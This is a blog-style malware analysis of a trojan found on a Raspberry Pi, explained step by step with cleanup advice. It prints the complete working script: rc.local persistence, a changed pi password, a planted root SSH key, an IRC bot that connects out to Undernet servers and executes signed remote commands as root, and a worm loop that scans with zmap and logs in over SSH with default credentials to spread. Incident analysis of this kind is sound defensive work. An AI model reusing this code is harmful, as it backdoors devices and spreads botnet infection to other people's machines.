This weekend, me and my girlfriend visited her parents, and at the same time, I got to do the usual IT admin work on the Raspberry Pi 3 I set up for her father. Interestingly, there was a pi-specific trojan installed on his system. I’ll walk you through it!

Some notes before we start

This script is raspberry pi specific, and relies on that the raspberry pi has a default password (which is “raspberry”) and that sudo is set up so that no password is needed (which is also the default in raspbian).

The script

#!/bin/bash

MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

if [ "$EUID" -ne 0 ]
then
    NEWMYSELF=`mktemp -u 'XXXXXXXX'`
    sudo cp $MYSELF /opt/$NEWMYSELF
    sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
    sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
    sudo sh -c "echo 'exit 0' >> /etc/rc.local"
    sleep 1
    sudo reboot
else

If the script isn’t running as root, then it creates a copy of itself in /opt and tells rc.local to run the script during boot. Then it reboots the pi, causing it to execute the script as root on boot.

TMP1=`mktemp`
echo $TMP1 >> $DEBUG

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

In case the computer was already compromised as a miner or some other nasty programs, let’s turn them off. But before that it echoes some data to $DEBUG, which is set to /dev/null. Presumably, this was only used while developing the script.

Next comes the more nasty parts.

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

Ok, host aliasing and removing any shell definitions. I assume, to avoid problems in the future with other aliases etc etc.

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

Changes the password of the pi user to something else (this is not the actual password, this is the encrypted password

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

Allow root to log in using an ssh key

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

Adds another name server, removes some directories if they were there, and stores a public key as /tmp/public.pem. You will soon see why.

BOT=`mktemp -u 'XXXXXXXX'`

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

    arr[0]="ix1.undernet.org"
    arr[1]="ix2.undernet.org"
    arr[2]="Ashburn.Va.Us.UnderNet.org"
    arr[3]="Bucharest.RO.EU.Undernet.Org"
    arr[4]="Budapest.HU.EU.UnderNet.org"
    arr[5]="Chicago.IL.US.Undernet.org"
    rand=$[$RANDOM % 6]
    svr=${arr[$rand]}

    eval 'exec 3<>/dev/tcp/$svr/6667;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi

    echo $NICK

    eval 'printf "NICK $NICK\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi
    eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
        continue
    fi

    # Main loop
    while [ true ]; do
        eval "read msg_in <&3;"

        if [[ ! "$?" -eq 0 ]] ; then
            break
        fi

        if  [[ "$msg_in" =~ "PING" ]] ; then
            printf "PONG %s\n" "${msg_in:5}";
            eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
            sleep 1
            eval 'printf "JOIN #biret\r\n" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
        elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
            privmsg_h=$(echo $msg_in| cut -d':' -f 3)
            privmsg_data=$(echo $msg_in| cut -d':' -f 4)
            privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

            hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
            sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

            if [[ "$sign" == "$hash" ]] ; then
                CMD=`echo $privmsg_data | base64 -d -i`
                RES=`bash -c "$CMD" | base64 -w 0`
                eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
                if [[ ! "$?" -eq 0 ]] ; then
                    break
                fi
            fi
        fi
    done
done
EOFMARKER

chmod +x /tmp/$BOT
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT

Well, what do you know - an IRC bot? It creates a nick using uname -a | md5sum (which is stupid, there are probably lots of pi users that would get the same output from uname -a), then tries to connect to a random undernet server, talks IRC properly setting NAME and USER and so on. Once connected, it responds to PING if needed, and then joins #biret, where it listens for commands to execute.

When it gets a command, it makes sure the command is signed using the public key we saw earlier, and in case of a match, it executes whatever command was sent in the message. Being that this would run as root, it means unrestricted access to the compromised system.

The last parts of this snippet is just making the bot script runnable, starting it (with logging, nice!), letting it run for three seconds, then deleting it (while it runs, leaving no traces except the log, it seems).

NAME=`mktemp -u 'XXXXXXXX'`

date > /tmp/.s

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

while [ true ]; do
    FILE=`mktemp`
    zmap -p 22 -o $FILE -n 100000
    killall ssh scp
    for IP in `cat $FILE`
    do
        sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
        sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    done
    rm -rf $FILE
    sleep 10
done

fi

The final touches, install sshpass and zmap. zmap is apparently like nmap, but targeted for scanning the whole internet. sshpass is used to be able to use password authentication over ssh in a non-interactive way.

It then runs zmap and saves its results to a file. It goes through the file, and for each entry, tries to log in with pi:raspberry as credentials (assuming it is a raspberry pi), and effectively copies itself to the new host.

How to get rid of it

This is a tricky one, given that the IRC bot might have accepted any commands. What I did was simply to remove the script and any files it had touched, restoring rc.local, the root user’s ssh directory and so on. Some reboots and there were no apparent traces of it left on the system.

What any reasonable person SHOULD do is: wipe the pi and reinstall. I would have done that if I had an sd card reader with me. I might do it on next visit. But for now, this seemed enough.